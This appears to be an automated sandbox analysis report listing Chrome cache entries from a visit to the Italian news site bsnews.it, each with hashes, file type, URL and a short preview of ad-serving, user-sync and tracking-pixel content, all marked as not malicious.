SHA-256:	5457B0A2554E525D73BAA3638E56C88B5F34B2647FF3239A14335960C5E4E0F6
SHA-512:	9B9F11C19C7411D499228837E29B2B23A371789C1B21C4CA266D85940B33D7FC714B4C4AEC01B39C61630EA90D35698156B89266F5E6706EC521E20A91CC92C2
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200
Preview:	RIFF.>..WEBPVP8 .>.......^...>m,.E.".....@...\|B...3.>=.'...zO..o.....a...9_..]..~.....7........._.?.?.....~.zx.;.k...}.e....S.......t.Z.?eZ.........T...?.:.~i.s.....n.........................%......./............b.u.%.......ye4..>I._.vv&...GA...7.$....j....F. ~..B..nX.h.c......F.\.Xo.T....4.:\|.Y3....4@)#\|8.k:.J.$.1...u.N\|..(.hjP..P.3.ka.My,....e...5~........(./%O...H.......v ..W.a.H..v-~......~.X..>..V.p...)P.=..].Y.........\|.$~...u./.......'.[.".f.s.{...!8..$!.....lrtw..s.d.q... ......y.?.L....y.....x6.h#...:...N...Kw-u..~:.0mG..y..F...Y.F../j.:.R{..JQk......;+..\|.{.M<-......3.....p}.....W.d......e\M....jHr..^>.r.K.E7l.T...3.....}:c-...u%.RE.N8H...j..g.T,=V...t/.XVD&~....".}.d.......P..5...L....J....U!...\....5./.t\|.x.H..[..3....F4.p.O.0Z.d.......`.....U9.;.....Y..G.+QCB..o_ .Z..#...}......X....g..g.r....n..v...Hc........BN. .y..mE..).o.(.!L...f......B....Q}%-.v.K.!I..>..-<....9........W7...#..?...N8.u.i....:g]...U....3.TX...?...B..:

Chrome Cache Entry: 950

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F7047%2C22898733152%2Fapl%2Fshowheroes%2Fvast5&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=xml_vast4&unviewed_position_start=1&env=vp&correlator=622708487231388&vpa=auto&sdkv=h.3.629.1&osd=2&frm=0&vis=1&sdr=1&hl=en&is_amp=0&u_so=l&ctv=0&mpt=videojs-ima&sdki=445&ptt=20&adk=2044940861&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.629.1&sid=EA12B335-679C-4E34-97A5-679AE24DB35E&a3p=EhsKDDMzYWNyb3NzLmNvbRiW5Iai6DFIAFICCGQSGAoJeWFob28uY29tGJbkhqLoMUgAUgIIZBIZCgp1aWRhcGkuY29tGJbkhqLoMUgAUgIIZBIcCg1jcndkY250cmwubmV0GJbkhqLoMUgAUgIIZBIZCgpwdWJjaWQub3JnGJbkhqLoMUgAUgIIZBIXCghydGJob3VzZRiW5Iai6DFIAFICCGQSFAoFb3BlbngYluSGougxSABSAghkEh0KDmVzcC5jcml0ZW8uY29tGJbkhqLoMUgAUgIIZA..&nel=1&eid=418572006%2C44772139%2C44776495%2C44777649%2C44781409%2C44806074%2C95321947%2C95322027%2C95323893%2C95324128%2C95326337&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&dlt=1711615881974&idt=15623&dt=1711615928078&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&scor=21004739623209&ged=ve4_td42_tt14_pd42_la42000_er897.718.1051.1018_vi0.0.907.1263_vp6_ts23_eb23275
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 951

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (527)
Category:	downloaded
Size (bytes):	2665
Entropy (8bit):	5.077975025866833
Encrypted:	false
SSDEEP:	48:qrSfzCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:sSf8lCUybFuuI9j3obFuBi/Wbz
MD5:	ECCF18CF6861970CC6A2D338F7172D90
SHA1:	10144F106CB9808FF89EAD3AC3C428EE5EF30DEC
SHA-256:	4C426FFEBC4520022FC1B7F72A4EC8D646CF427D65BEDA8E4788649810820C65
SHA-512:	E13908E7ABA086D5F5F4A8477217D71E40F80383D05F1F1915E1C5E092CAE66701DC31BE1D351850D58ED241171573774242808C17C63ABD741FF2509BD7D222
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?pubId=694e68b73971b58&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D318%26uid%3D
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://prebid-match.dotomi.com/match/bounce/current?version=1&networkId=72582&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D90%26gdpr%3D0%26gdpr_consent%3D%26uid%3D https://x.bidswitch.net/sync?ssp=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://ads.servenobid.com/sync?pid=318&uid=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {.

Chrome Cache Entry: 952

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?zpartnerid=1353&env=mWeb&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 953

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12109
Entropy (8bit):	5.0920194931199685
Encrypted:	false
SSDEEP:	192:bOTZnz90ED3N3C3nLlKtOp/u3q3YGmxCOByd6KzNh8N80PHWV1W+EI/Yv1P3o3Dc:OZnz90EDgxKtOp/u3q3YRnk8q2K5//uB
MD5:	F87C588F1B5D967E0E51A41D385A3AD8
SHA1:	A09A924F4E57598E0E31E2EB721748C4D2376433
SHA-256:	067B5EC70DA0957816B1ABCC7583B75C350852C944508F9472C519A5D6681747
SHA-512:	060AA54EC04A8B015B177405FAEC45EB214E2E1E19EDA70B71752B75B3A019D9A3D869CE42491FED14D49C8EBA689DEC33B89C16FEE33C5BB46C6785647EA637
Malicious:	false
Reputation:	low
URL:	https://app.digitrend.it/wonder-marketing/assets/wordpress/js/digistream-players-manager.js?v=1671458253
Preview:	if (typeof DigistreamPlayersArray == 'undefined'){..class DigistreamPlayersArray extends Array{...push(player){....if (this.length == 0).....this.initComplete = false;.....var conts = this.map(function(item){ return item.cont; });.....player.isPlaying = player.autoPlay;.....if (player.tipo == 'vimeo'){.....player.cont = player.player.element;......if (conts.indexOf(player.cont) != -1)......return false;......if (!this.initComplete)......player.player.pause();......player.player.on('play', this.playerStatus.bind(this, this.length, 'vimeo', 'play'));.....player.player.on('ended', this.playerStatus.bind(this, this.length, 'vimeo', 'pause'));.....player.player.on('pause', this.playerStatus.bind(this, this.length, 'vimeo', 'pause'));.....player.player.on('error', this.playerStatus.bind(this, this.length, 'vimeo', 'pause'));....}else if (player.tipo == 'brid'){.....player.cont = player.player.el;......if (conts.indexOf(player.cont) != -1)......return false;......if (!this.initComplete)......

Chrome Cache Entry: 954

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	336
Entropy (8bit):	4.552230644700496
Encrypted:	false
SSDEEP:	6:qFBdTAqJmW/cvsWdNV4NhdAaAqJmromMn4pNgwFWJUPqYjF4HXQGL:oOqJmWJWdNV4NbALqJmrom+GNPFWWF4z
MD5:	FA1071673C7E6BEC954937368DDFAD81
SHA1:	22C5E0561775D5C98699D2DFCEB47C636CF66C86
SHA-256:	3E1DAC2792AB6C6ADEEF95C5E0D28AD832C837D58922FA4CEAFA0ED3BD0F96A7
SHA-512:	ADADB8FCDFAECD1C5A97B52F6A38781B756D1620D8C11E919CF8FF5E940EDAAD3499E3BFAE22A6FA14500DE5B6939FED1D7842DE59D0E82278FF813107A7B41D
Malicious:	false
Reputation:	low
URL:	https://cstatic.weborama.fr/iframe/sync.html?key=all&src=products.js&ref=bsnews.it
Preview:	<html>..<head>. <script type="text/javascript" src="external_libs.v2.js"></script>.</head>..<body>. <script type="text/javascript">. var Config = {. cookiePrefix: '_xttrk2',. cookieLifetime: 3,. };.. (function () {. Utils.run(10);. })();. </script>.</body>..</html>.

Chrome Cache Entry: 955

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=smartadserver&endpoint=eu
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 956

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 957

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21224)
Category:	downloaded
Size (bytes):	24203
Entropy (8bit):	5.349731623672621
Encrypted:	false
SSDEEP:	384:PLX1wtH+NTv0vDckjUhzU0ZppJeiUGg2TD7eC43YU/Us3ZYNbHG3W5AJdME9oPaV:jKtPQOaG3WFaoPaIK/zn
MD5:	F1DFC75C82E12DFE846D5593978E422A
SHA1:	12E580A708B09C9A8F4CA7CCBE9DD7DF32EDEE60
SHA-256:	08204982C484FAF6890C60557A4E642971F17625DDDDC0559DC0E3CA728AC9E0
SHA-512:	623412E6D454104251215E38A0F365F879EC70F77306769F5FA40E144C0EAB43237D1FE13B92031AD5848071A6A8910F01576F079E1A0904F4D8DD8959D922A5
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/safeframe/1-0-40/js/ext.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),da=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&aa(c,a,{configurable:!0,writable:!0,value:b})}},ea=function(a){return a.raw=a},fa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};da("Object.assign",f

Chrome Cache Entry: 958

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsvJZqYAVROM_GfZuxhCtMzZyK2bWu9G0wMFha98EIiXAY0kRPLo4THUieZwaP7lzmO_2Eld2m-DlwUhslLi4HKVZE_43ffCAdcTP7D71a5GDmo2XfFk1ePnJDgMgVM5AAPU5BXFDAGeapa8lzk31p_3ymvjokqJFGE&sig=Cg0ArKJSzMlqTWPkf-bUEAE&id=lidar2&mcvt=1031&p=293,853,893,1153&mtos=1031,1031,1031,1031,1031&tos=1031,0,0,0,0&v=20240325&bin=7&avms=nio&bs=1263,907&mc=1&vu=1&app=0&itpl=19&adk=979779281&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=v&co=754871700&rst=1711615917803&rpt=75&isd=0&lsd=0&met=ce&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 959

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 960

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (850)
Category:	downloaded
Size (bytes):	889
Entropy (8bit):	5.458994844301833
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTXFM+sBntvwCCZV9UkbKsQTuRXKr5c:c2Yz8TvMnhYJ+rTuRXEc
MD5:	73F515472361623E04F157A2AEF69F5C
SHA1:	B3568156FDDEC5F395E5A800F88CC767C73A3C2C
SHA-256:	41687D42457A409C9A1F30553E08AEC266CA458780611DF1F37D90DBF6964DFE
SHA-512:	0926CB314E07E42743BE64DDE00CF9D1A7C297E853B7466EA01C411CC2ED46FD212260F8F6C101A06F335FF6E5A9A9A32BEAEBD0C4C3ABF2A12D759CC0E636F5
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=BidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=beeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://match.adsby.bidtheatre.com/tremormatch?rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 961

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 962

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	4.839233686385446
Encrypted:	false
SSDEEP:	3:yLRmcpZoqaEJRDRE4DNq94WTYHZP44AJE2LdWdsXc+kZYHn:yL/pZo2JRDRE4DNq9mHZPEE2MdstVn
MD5:	6E14FCF5C6C403FC5F0DECD50F3C8AF9
SHA1:	6E36065B5F69F338CD34C6FC5574A3630768BE8F
SHA-256:	37BD6DC8105C6F3AF46B9FE605EE71606D7314FA07CDB0C66FA445DD611FB41F
SHA-512:	879930C3A07A5F05D3E12E56E5AF9727DF402B965C0BA961D86A5317F0906B8F5E0A16F29F8D7D477E5B268222E524E2F53CA627F7835DF64F7AA6C2EA99C2E7
Malicious:	false
Reputation:	low
URL:	https://load.exelator.com/load/?p=204&g=109
Preview:	document.write('<img width="1" alt="ExelateData" style="display:none" src="https://load77.exelator.com/pixel.gif" height="1"></img>');

Chrome Cache Entry: 963

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5103), with no line terminators
Category:	downloaded
Size (bytes):	5103
Entropy (8bit):	5.625737175149281
Encrypted:	false
SSDEEP:	96:CM/h/b/hlfXPDJUgEdCbIZN2xVsyy38tl7/glDv1bWq:jfyP6E/
MD5:	A8EFE0C158067720A393E5248BDA976B
SHA1:	A1AB500BCAA942D3CACCD512A717EE36F254F140
SHA-256:	82F7103225C97C105FFCAC01054DF7AE69D12BAFDF38B0B82A8A204A91DF0984
SHA-512:	AF8EDD02107F39B4E378FE57A850976CE51308798E3ED6EB3F8FB7C3C8E62CAD9A71C39A239B2D422651CF945DA4B548E00CD0B81F4ED204451F75585CED240A
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=33637002&p=137711&s=137812&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.l

Chrome Cache Entry: 964

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2188
Entropy (8bit):	4.759326008728612
Encrypted:	false
SSDEEP:	48:SCUC9hU0hQBk+NHOtynY+yQaEh0LDlMJLTueW3Rf8y37DNmO9L:SCZ9hnmBkoutynY+yQzh0LD6x+3RdDNb
MD5:	AEBC172B56E77AEEF77A3A06D28FCE3D
SHA1:	B6913E723F185AC2BF8254FCD015292B80EA3AB9
SHA-256:	5AA72F00F8202569F2870673CB76DBBC75AE897C527305F27334671BABB30DAA
SHA-512:	0B2E20F3441CBDE9370DBF905DA3E709054601A4F4CA53E34E13426387205998FAF753DA2786B3E479BE8CB71E30AEF07BA85451C1F1E7CBF99385C908CE63E5
Malicious:	false
Reputation:	low
URL:	https://ts.amazon-adsystem.com/?s=%7B%22sourceid%22%3A%223627%22%2C%22sourcetype%22%3A%22dtb%22%2C%22traffictype%22%3A%22web%22%2C%22mediatype%22%3A%22display%22%7D&p=%7B%22ad_id%22%3A%22593028458723293686%22%2C%22request_bidid%22%3A%22ZqlTNgz5JGtRJWemKlOqJg%22%2C%22ep%22%3A%5B%22paa%22%5D%2C%22creative_id%22%3A%22592911586383749832%22%2C%22campaign_id%22%3A%22579886048148097626%22%2C%22is_3p%22%3Atrue%2C%22advertiser_id%22%3A%22588872500020555147%22%7D
Preview:	function initParams() {. var doc = typeof window !== 'undefined' ? window.document : document;. var scriptUrl = new URL(doc.currentScript.src);.. //Extracting payload params from script url. var params = new URLSearchParams(scriptUrl.search);. var payloadParams = params.has('p') ? JSON.parse(decodeURIComponent(params.get('p'))) : null;.. return payloadParams;.}..function extractParamsValues(params) {. try {. var paramValues = {};. payloadParams = initParams();. if(payloadParams) {. for (p in params) {. var value = payloadParams.hasOwnProperty(params[p]) ? payloadParams[params[p]] : null;. paramValues[params[p]] = value;. }. }. } catch (error) {. console.log ("Error in fetching params: ", error); . }. return paramValues;.}..function constructScriptUrl(baseUrl, params){. baseUrl = baseUrl.endsWith('/') ? baseUrl.slice(0, -1) : baseUrl;.. //Construct query paramet

Chrome Cache Entry: 965

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	8473
Entropy (8bit):	5.164989197282425
Encrypted:	false
SSDEEP:	192:K8Xv/V14K5nXIPhKYlB+eMt53s/rD85aBMW:KGV14KNI6eMt53iA5PW
MD5:	5036C10A1F8FF4801137A853F39127DE
SHA1:	138757DCAC1A97ED77FBB1B5A8A5F8B8EFE6B7BE
SHA-256:	3739D2BCB5269F4EE3E4EA44BD965619B2C868FCFDDB3A8797C65C005EFA0857
SHA-512:	691684B8EAA3E1A8F5D0CC68DE30D0A4A71C04D3DD28557114E1BD7C533BE12520E10F21EFEDB89A569585D131FBC8F6FA2F70D2541EE1FBCC3F089CE04B12E5
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/italpress-video-public.css?ver=1.1.17
